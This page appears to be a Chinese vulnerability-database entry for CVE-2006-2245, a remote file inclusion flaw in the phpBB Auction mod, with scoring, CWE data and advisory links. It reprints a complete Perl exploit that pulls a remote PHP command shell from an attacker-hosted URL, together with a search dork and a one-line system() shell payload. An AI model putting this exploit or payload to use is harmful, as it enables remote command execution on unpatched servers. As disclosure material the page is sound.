CVE-2006-2245
CVSS6.8
发布时间 :2006-05-09 06:02:00
修订时间 :2011-03-07 21:35:48
NMCOE    

[原文]PHP remote file inclusion vulnerability in auction\auction_common.php in Auction mod 1.3m for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter.


[CNNVD]phpBB Auction模块 远程文件包含漏洞(CNNVD-200605-123)

        phpBB是一种用PHP语言实现的基于Web脚本的开放源码论坛程序,使用较为广泛。
        phpBB的Auction模块实现上输入验证漏洞,远程攻击者可以利用此漏洞在主机上执行任意命令。
        Auction模块没有正确检查过滤用户在变量phpbb_root_path中提交的参数值,远程攻击者可以在数据中插入特定字串使脚本包含远程服务器上的PHP脚本代码并执行,使攻击者能以Web进程权限在服务器上执行任意命令。

- CVSS (基础分值)

CVSS分值: 6.8 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: MEDIUM [漏洞利用存在一定的访问条件]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-94 [对生成代码的控制不恰当(代码注入)]

- CPE (受影响的平台与产品)

cpe:/a:phpbb_group:phpbb-auction:1.2m
cpe:/a:phpbb_group:phpbb-auction:1.0m
cpe:/a:phpbb_group:phpbb-auction:1.3m

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2245
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-2245
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200605-123
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/26192
(UNKNOWN)  XF  phpbb-auction-file-include(26192)
http://www.vupen.com/english/advisories/2006/1641
(UNKNOWN)  VUPEN  ADV-2006-1641
http://www.securityfocus.com/bid/17822
(UNKNOWN)  BID  17822
http://www.osvdb.org/25263
(UNKNOWN)  OSVDB  25263
http://secunia.com/advisories/19944
(VENDOR_ADVISORY)  SECUNIA  19944
http://pridels0.blogspot.com/2006/05/phpbb-auction-mod-remote-file.html
(UNKNOWN)  MISC  http://pridels0.blogspot.com/2006/05/phpbb-auction-mod-remote-file.html

- 漏洞信息

phpBB Auction模块 远程文件包含漏洞
中危 代码注入
2006-05-09 00:00:00 2007-10-01 00:00:00
远程  
        phpBB是一种用PHP语言实现的基于Web脚本的开放源码论坛程序,使用较为广泛。
        phpBB的Auction模块实现上输入验证漏洞,远程攻击者可以利用此漏洞在主机上执行任意命令。
        Auction模块没有正确检查过滤用户在变量phpbb_root_path中提交的参数值,远程攻击者可以在数据中插入特定字串使脚本包含远程服务器上的PHP脚本代码并执行,使攻击者能以Web进程权限在服务器上执行任意命令。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.phpbb.com/

- 漏洞信息 (1747)

Auction <= 1.3m (phpbb_root_path) Remote File Include Exploit (EDBID:1747)
php webapps
2006-05-04 Verified
0 webDEViL
N/A [点击下载]
#!/usr/bin/perl
##
#phpBB auction mod - Remote File Inclusion Vuln
# Bug discovered by VietMafia
# code copier: webDEViL w3bd3vil[at]gmail.com
#code same as Fast Click <= 2.3.8 Remote File Inclusion exploit
# dork: intext:"phpbb - auction" inurl:"auction"
# usage:
# perl wb1.pl <target> <cmd shell location> <cmd shell variable>
# perl wb1.pl http://vulnerable.com/ http://target.com/cmd.gif cmd
# cmd shell example: <?system($cmd);?>
# cmd shell variable: ($_GET[cmd]);

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'/auction/auction_common.php?phpbb_root_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n"; 


$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)

{
      $finreturn = $1;
      $finreturn=~ tr/[ê]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print "  phpBB auction mod - Remote File Inclusion Vuln\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl wb1.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to phpBB auction ex: http://www.site.com/ or http://www.site.com/phpbb/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://evilserver/cmd.gif \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                          webDEViL w3bd3vil[at]gmail.com \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-05-04]
		

- 漏洞信息

25263
phpBB phpbb-Auction auction_common.php phpbb_root_path Parameter Remote File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

phpbb-auction contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to auction_common.php not properly sanitizing user input supplied to the 'phpbb_root_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

- 时间线

2006-05-03 Unknow
2006-05-03 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站